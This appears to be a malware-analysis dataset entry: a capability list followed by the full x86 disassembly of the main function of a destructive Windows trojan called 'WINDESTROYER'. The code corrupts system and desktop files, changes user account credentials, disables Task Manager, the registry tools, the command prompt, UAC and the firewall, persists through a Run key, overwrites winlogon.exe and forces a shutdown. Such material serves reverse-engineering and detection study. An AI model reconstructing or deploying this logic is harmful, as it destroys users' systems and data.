Function at 0x401917
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create thread
Disable system features via registry on windows
Hide graphical window
List user accounts
Persist via run registry key
Query environment variable
Set registry value
Shutdown system
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x820
call sym.___main
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x24c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x148]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWINDESTROYER.EXE
lea eax, [ebp - 0x350]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x350]
mov dword [esp], eax
call sym._FileExists
test eax, eax
jne 0x40218d
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], str.WINDESTROYER
mov dword [esp + 4], str.This_trojan_is_not_a_joke__continue_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401a15
mov eax, 0
jmp 0x4027db
mov dword [esp + 8], 0
lea eax, [ebp - 0x350]
mov dword [esp + 4], eax
lea eax, [ebp - 0x24c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x7c8]
mov dword [esp + 4], eax
mov dword [esp], str.USERPROFILE
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x7c8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sDesktop
lea eax, [ebp - 0x6c4]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x6c4]
mov dword [esp], eax
call sym._CorruptFilesInDirectory_4
sub esp, 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x35c], 0
mov dword [ebp - 0x360], 0
lea eax, [ebp - 0x360]
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x358]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x354]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x35c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserEnum_32
sub esp, 0x20
mov dword [ebp - 0xc], 0
jmp 0x401b90
mov edx, dword [ebp - 0x35c]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp], eax
call sym._corruptUsername
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x401b8c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x384], eax
mov edx, dword [ebp - 0x35c]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x384]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserSetInfo_20
sub esp, 0x14
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x354]
cmp dword [ebp - 0xc], eax
jb 0x401b1a
mov eax, dword [ebp - 0x35c]
test eax, eax
je 0x401bc4
mov eax, dword [ebp - 0x35c]
mov dword [esp], eax
call sym._NetApiBufferFree_4
sub esp, 4
mov dword [ebp - 0x35c], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x5c0]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x5c0]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_bg.bmp
lea eax, [ebp - 0x4bc]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x40712f
lea eax, [ebp - 0x4bc]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x7a
mov dword [esp + 4], 1
mov dword [esp], 0x406020
call sym._fwrite
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x364]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelDesktop
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], sym._CorruptMsgBox_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x364]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [ebp - 0x368], 1
mov dword [ebp - 0x36c], 0
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x370]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
lea eax, [ebp - 0x370]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x370]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x368]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableTaskMgr
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x370]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x368]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableRegistryTools
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x374]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREPoliciesMicrosoftWindows
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x374]
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x378]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.System
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x378]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x368]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableCMD
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x37c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x350]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x37c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x350]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40720e
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x37c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0x380]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x380]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x36c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.EnableLUA
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x380]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], str.rundll32.exe_user32.dll_UpdatePerUserSystemParameters
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], str.netsh.exe_firewall_set_opmode_modedisabled_profileall
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], str.WINDESTROYER.exe
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [ebp - 0x7f0], 0x73696874
mov dword [ebp - 0x7ec], 0x72747320
mov dword [ebp - 0x7e8], 0x20676e69
mov dword [ebp - 0x7e4], 0x6c6c6977
mov dword [ebp - 0x7e0], 0x20656220
mov dword [ebp - 0x7dc], 0x62726167
mov dword [ebp - 0x7d8], 0x20656761
mov dword [ebp - 0x7d4], 0x74657270
mov dword [ebp - 0x7d0], 0x73207974
mov dword [ebp - 0x7cc], 0x6e6f6f
mov byte [ebp - 0x7f0], 0
mov dword [ebp - 0x10], 0
jmp 0x402126
call sym._rand
movsx ecx, al
mov edx, 0x30c30c31
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0xa8
mov eax, ecx
sub eax, edx
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x7f0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070b6
lea eax, [ebp - 0x7f0]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x13
jle 0x4020d4
lea eax, [ebp - 0x7f0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40729d
lea eax, [ebp - 0x7f0]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4072ac
mov dword [esp], str.C:WindowsSystem32winlogon.exe
call sym._fopen
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
lea eax, [ebp - 0x7f0]
mov dword [esp], eax
call sym._fputs
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._fclose
mov eax, 0
jmp 0x4027db
call sym._SeShutdownPrivilege
call sym._InitSinTable
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:Windows_
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsWinSxS
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._NullWriter_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [sym.imp.USER32.dll_GetDesktopWindow]
call eax
lea edx, [ebp - 0x394]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetClientRect]
call eax
sub esp, 8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4bc], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x4b4], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], 0xa
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], sym._Shader1_28
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x498], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x490], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x488], 5
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], sym._Shader2_28
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x47c], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x474], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x46c], eax
mov dword [ebp - 0x468], 0xa
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], sym._Shader3_28
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x454], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x448], 0xa
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x440], sym._Shader4_28
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x428], 0xa
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], sym._Shader5_28
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x410], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x408], 0xa
mov dword [ebp - 0x404], 0
mov dword [ebp - 0x400], sym._Shader6_28
mov dword [ebp - 0x5c0], 0x3e80
mov dword [ebp - 0x5bc], 0x3a980
mov dword [ebp - 0x5b8], sym._AudioSequence1_12
mov dword [ebp - 0x5b4], 0xbb80
mov dword [ebp - 0x5b0], 0xafc80
mov dword [ebp - 0x5ac], sym._AudioSequence2_12
mov dword [ebp - 0x5a8], 0xbb80
mov dword [ebp - 0x5a4], 0xafc80
mov dword [ebp - 0x5a0], sym._AudioSequence3_12
mov dword [0x40a040], 0x4041ba
mov dword [ebp - 0x14], 0
jmp 0x4025ae
mov dword [esp + 4], 0x7f01
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_LoadIconA]
call eax
sub esp, 8
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DrawIcon]
call eax
sub esp, 0x10
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0x14], 0x14
cmp dword [ebp - 0x14], 0x117
jle 0x40255e
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [esp + 4], 0x7f03
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_LoadIconA]
call eax
sub esp, 8
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 0
jmp 0x4027b3
call sym._rand
mov ecx, eax
mov edx, 0x66666667
mov eax, ecx
imul edx
mov eax, edx
sar eax, 2
mov ebx, ecx
sar ebx, 0x1f
sub eax, ebx
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
cmp edx, 6
jg 0x4026c8
mov dword [ebp - 0x1c], 0
jmp 0x40268b
call sym._rand
cdq
idiv dword [ebp - 0x28]
mov ebx, edx
call sym._rand
cdq
idiv dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DrawIcon]
call eax
sub esp, 0x10
add dword [ebp - 0x1c], 1
call sym._rand
mov ecx, eax
mov edx, 0xa0a0a0a1
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x33
mov eax, ecx
sub eax, edx
add eax, 9
cmp dword [ebp - 0x1c], eax
jle 0x402654
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call sym._rand
mov ecx, eax
mov edx, 0x55555556
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea ecx, [ebp - 0x5c0]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
add eax, ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._ExecuteAudioSequence_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x30], eax
call sym._rand
mov ecx, eax
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
lea eax, [ebp - 0x4bc]
shl edx, 5
add eax, edx
mov dword [esp], eax
call sym._ExecuteGdiShader_4
sub esp, 4
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
cmp eax, 0x3b
jg 0x4027af
call sym._rand
mov eax, dword [0x40a040]
call eax
add dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0x22
jle 0x40261b
mov dword [esp + 4], 0x10000
mov dword [esp], 0xc
mov eax, dword [sym.imp.USER32.dll_ExitWindowsEx]
call eax
sub esp, 8
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret